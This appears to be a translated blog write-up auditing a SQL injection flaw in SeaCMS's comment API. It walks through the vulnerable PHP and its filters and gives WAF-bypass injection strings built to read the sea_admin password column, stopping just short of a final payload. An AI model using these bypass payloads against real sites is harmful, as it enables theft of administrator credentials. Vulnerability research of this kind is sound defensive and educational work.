Front-End Injection Vulnerability in the Latest SeaCMS

Summary0x01 Preface. Xu provided this vulnerability for me to analyze. 0x02 SeaCMS overview. SeaCMS is a PHP 5.x + MySQL video-on-demand system; FOFA shows over 400 instances. 0x03 Analysis. Vulnerable file: ./comme…

Code Auditingseacms0dayFront-End Injection

0x01 Preface

Xu provided this vulnerability for me to analyze—an excellent find.

0x02 SeaCMS Overview

SeaCMS is a PHP 5.x + MySQL video-on-demand management system. FOFA returns over 400 visible instances:

1.png

0x03 Analysis

Vulnerable file:./comment/api/index.php, vulnerable parameter:$rlist

For clarity, and because the file is short, its contents are reproduced for analysis:

The relevant content is:

PHP
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);


function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}
	$readData = FormatJson($ret);
	return $readData;
}

function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$rlist = str_ireplace('@', "", $rlist);
	$rlist = str_ireplace('/*', "", $rlist);
	$rlist = str_ireplace('*/', "", $rlist);
	$rlist = str_ireplace('*!', "", $rlist);
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist' );
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}


function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}


function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	$rlist = str_ireplace('@', "", $rlist);
	$rlist = str_ireplace('/*', "", $rlist);
	$rlist = str_ireplace('*/', "", $rlist);
	$rlist = str_ireplace('*!', "", $rlist);
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}

function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}

function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

First include the external file:require_once("../../include/common.php");

The file includes the common inspection file on line 2:require_once('webscan/webscan.php');

The common inspection file places the GET value intowebscan_StopAttack()applies a regular expression with this rule:

PHP
//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

...

preg_match("/".$ArrFiltReq."/is",$StrFiltValue)
  //$StrFiltValue为我们传入的每一个参数的值
  //$ArrFiltReq为$getfilter变量

After bypassing the regular expression, return to common.phpContinue down the file:

uses foreach to assign global parameter variables. For a GET request:

PHP
foreach($_GET as $_k=>$_v)
{
	if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)',$_k))
	{
		Header("Location:$jpurl");
		exit('err2');
	}
}

First checks the variable length, then passes it tom_eregi()function; its contents are:

PHP
function m_eregi($reg,$p){
    $nreg=chgreg($reg)."i";
    return preg_match(chgreg($reg),$p);
}

chgreg()The function is:

PHP
function chgreg($reg){
    $nreg=str_replace("/","\\/",$reg);
    return "/".$nreg."/";
}

Combined, the code above is equivalent to:

PHP
preg_match('/^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)/i',$_k)

This checks whether the parameter contains any listed string and redirects to the home page if so. It was intended to fix variable-overwrite flaws in earlier releases; see:https://xz.aliyun.com/t/6198 , summarizes variable-overwrite vulnerabilities in historical SeaCMS releases.

After these checks, the GET parameter value is available. Return to./comment/api/index.phpContinue in the file:

PHP
function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}
	$readData = FormatJson($ret);
	return $readData;
}

First enterReadmlist()function:

PHP
function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$rlist = str_ireplace('@', "", $rlist);
	$rlist = str_ireplace('/*', "", $rlist);
	$rlist = str_ireplace('*/', "", $rlist);
	$rlist = str_ireplace('*!', "", $rlist);
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist' );
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

First process$rlistchecks the variable string; if it contains@/**/*!characters, those characters are removed, then$type$idand related variables enter the SQL statement, which is executed and its result displayed.

break out ofReadmlist()Return toReadData()function and continue downward.

using,as a connector to join$rlistjoins the array elements into a string and assigns it to$x, and finally$xpass inReadrlist()function; inspect its contents:

PHP
function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

$xis the function's$idsvariable is inserted directly into the SQL statement, then placed insetQuery()function. InspectsetQuery()function:

PHP
function SetQuery($sql)
	{
		$prefix="sea_";
		$sql = str_replace($prefix,$this->dbPrefix,$sql);
		$this->queryString = $sql;
	}

takes the SQL statement'ssea_replace with$this->dbPrefix(configured as$cfg_dbprefix = '~dbprefix~';) before returning the SQL statement, which is then passed toExecute()

PHP
function Execute($id="me", $sql='')
	{
		global $dsql;
		self::$i++;
		if($dsql->isClose)
		{
			$this->Open(false);
			$dsql->isClose = false;
		}
		if(!empty($sql))
		{
			$this->SetQuery($sql);
		}

		//SQL语句安全检查
		if($this->safeCheck)
		{
			CheckSql($this->queryString);
		}

    $t1 = ExecTime();

		$this->result[$id] = mysqli_query($this->linkID,$this->queryString);

		if($this->result[$id]===false)
		{
			$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
		}
}

This function checks the SQL for security issues and executes it only if it is deemed safe.

CheckSql($this->queryString);The function is:

PHP
function CheckSql($db_string,$querytype='select')
{
	global $cfg_cookie_encode;
	$clean = '';
	$error='';
	$old_pos = 0;
	$pos = -1;
	$log_file = sea_INC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
	$userIP = GetIP();
	$getUrl = GetCurUrl();
	$db_string = str_ireplace('--', "", $db_string);
	$db_string = str_ireplace('/*', "", $db_string);
	$db_string = str_ireplace('*/', "", $db_string);
	$db_string = str_ireplace('*!', "", $db_string);
	$db_string = str_ireplace('//', "", $db_string);
	$db_string = str_ireplace('\\', "", $db_string);
	$db_string = str_ireplace('hex', "he", $db_string);
	$db_string = str_ireplace('updatexml', "updatexm", $db_string);
	$db_string = str_ireplace('extractvalue', "extractvalu", $db_string);
	$db_string = str_ireplace('benchmark', "benchmar", $db_string);
	$db_string = str_ireplace('sleep', "slee", $db_string);
	$db_string = str_ireplace('load_file', "load-file", $db_string);
	$db_string = str_ireplace('outfile', "out-file", $db_string);
	$db_string = str_ireplace('ascii', "asci", $db_string);
	$db_string = str_ireplace('char(', "cha", $db_string);
	$db_string = str_ireplace('substr', "subst", $db_string);
	$db_string = str_ireplace('substring', "substrin", $db_string);
	$db_string = str_ireplace('script', "scrip", $db_string);
	$db_string = str_ireplace('frame', "fram", $db_string);
	$db_string = str_ireplace('information_schema', "information-schema", $db_string);
	$db_string = str_ireplace('exp', "ex", $db_string);
	$db_string = str_ireplace('GeometryCollection', "GeometryCollectio", $db_string);
	$db_string = str_ireplace('polygon', "polygo", $db_string);
	$db_string = str_ireplace('multipoint', "multipoin", $db_string);
	$db_string = str_ireplace('multilinestring', "multilinestrin", $db_string);
	$db_string = str_ireplace('linestring', "linestrin", $db_string);
	$db_string = str_ireplace('multipolygon', "multipolygo", $db_string);

	//如果是普通查询语句,直接过滤一些特殊语法
	if($querytype=='select')
	{
		$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

		//$notallow2 = "--|/\*";
		if(m_eregi($notallow1,$db_string)){exit('SQL check');}
		if(m_eregi('<script',$db_string)){exit('SQL check');}
		if(m_eregi('/script',$db_string)){exit('SQL check');}
		if(m_eregi('script>',$db_string)){exit('SQL check');}
		if(m_eregi('if:',$db_string)){exit('SQL check');}
		if(m_eregi('--',$db_string)){exit('SQL check');}
		if(m_eregi('char(',$db_string)){exit('SQL check');}
		if(m_eregi('*/',$db_string)){exit('SQL check');}
	}

	//完整的SQL检查
	while (true)
	{
		$pos = stripos($db_string, '\'', $pos + 1);
		if ($pos === false)
		{
			break;
		}
		$clean .= substr($db_string, $old_pos, $pos - $old_pos);
		while (true)
		{
			$pos1 = stripos($db_string, '\'', $pos + 1);
			$pos2 = stripos($db_string, '\\', $pos + 1);
			if ($pos1 === false)
			{
				break;
			}
			elseif ($pos2 == false || $pos2 > $pos1)
			{
				$pos = $pos1;
				break;
			}
			$pos = $pos2 + 1;
		}
		$clean .= '$s$';
		$old_pos = $pos + 1;
	}
	$clean .= substr($db_string, $old_pos);
	$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

	if (stripos($clean, '@') !== FALSE  OR stripos($clean,'char(')!== FALSE  OR stripos($clean,'script>')!== FALSE   OR stripos($clean,'<script')!== FALSE  OR stripos($clean,'"')!== FALSE OR stripos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }
	//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
	if (stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="union detect";
	}

	//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
	elseif (stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false)
	{
		$fail = true;
		$error="comment detect";
	}

	//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
	elseif (stripos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="sleep detect";
	}
	elseif (stripos($clean, 'updatexml') !== false && preg_match('~(^|[^a-z])updatexml($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="updatexml  detect";
	}
	elseif (stripos($clean, 'extractvalue') !== false && preg_match('~(^|[^a-z])extractvalue($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="extractvalue  detect";
	}
	elseif (stripos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="benchmark detect";
	}
	elseif (stripos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="file fun detect";
	}
	elseif (stripos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="file fun detect";
	}

	//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
	elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
	{
		$fail = true;
		$error="sub select detect";
	}
	if (!empty($fail))
	{
		fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
		exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
	}
	else
	{

		return $db_string;
	}
}

The entire vulnerability chain is now complete:

Untitled figure

Two points are essential to finding the vulnerability:

  • Bypassing webscan_StopAttack()

  • How to Bypass ItCheckSql()function's validation

The first key point is that a conventional injection statement looks likeunion select 1,2,3,4,5,6,7,pass,9 from admin --form

But this point's regular expression filtersunion selectform:

PHP
UNION.+?SELECT\s*

This type of filter is easy to bypass with familiar WAF techniques such as%23%0a bypasses the filter as follows:

union%23%0aselect%23%0a1,2,3,4,5,6,7,pass,9 from admin --

(For additional techniques, see:https://www.secpulse.com/archives/53328.html)

The second key point isCheckSql()performs extensive filtering. Originally written by 80sec, it was modified by the SeaCMS developer:

2.png
3.png

The author added filters that remove sensitive characters and keywords. Ironically, this extra processing makes the filters bypassable.

A characteristic of the 80sec injection filter is that content between two single quotes is replaced with the string$s$for replacement, such asinsert into admin(username,passdord) value ('admin','hello')is replaced withinsert into admin(username,passdord) value ($s$,$s$)

This behavior can make$cleanvariable no longer contains sensitive words, bypassingCheckSql()function check

MySQL defines variables with @; for example, useset @panda=’test’to assign the variable

To construct a valid single quote here, place @' in the SQL statement and use it to bypass the check.

Although detection has been bypassed, the added single quote breaks the original SQL. The injection must be adjusted to use a comment marker (/*/*/#) to comment out the single quote.

The statement is therefore:

SQL
/*@`'`,*/UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- @`'`

But now return toReadmlist()At the beginning of the function:

PHP
	global $dsql,$type,$pCount,$rlist;
	$rlist = str_ireplace('@', "", $rlist);
	$rlist = str_ireplace('/*', "", $rlist);
	$rlist = str_ireplace('*/', "", $rlist);
	$rlist = str_ireplace('*!', "", $rlist);

These characters are removed. Passing them directly breaks the comment marker and still fails.

Note, however, that$rlistis a global variable, so inReadmlist()function's processed value is preserved and passed toReadrlist()function, as the flowchart above shows. Passing the statement constructed above directly causes it to be filtered into:

PHP
`'`,UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- `'`

This would clearly produce an SQL error. Duplicate the symbols to reconstruct the comment marker:

PHP
//**@`'`,**@//UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin--%20@`'`

This statement first entersReadmlist()function, becoming

PHP
/*@`'`,*/UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- @`'`

Then pass it onward toReadrlist()function, after replacement it becomes:

PHP
`'`,UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin `'`

Two single quotes are constructed successfully, producing this final statement:$s$, bypassing every filter.

If that were all, the filter would still hold. Although the detection is bypassed, the SQL after multiple transformations is not yet what we need. Passing mysqli_query()will fail when executed.

The interesting part is:

4.png
5.png

After passing through CheckSql()The SQL statement filtered by the function is never passed to mysqli_query()to execute. Inmysqli_query()executes the original value, whileReadmlist()function's processed statement. Here, CheckSql()only decides whether to allow the request; it never modifies the SQL that will execute.

The final value passed into mysqli_query()executes the SQL shown below:

6.png

Final execution result:

7.png

0x04 Closing Notes

No final payload is provided, leaving two pitfalls. The article contains enough detail: pay attention to parameter types and encoding to construct the payload. The larger lesson is that more filtering is not necessarily better; what matters is whether the final execution point is safe.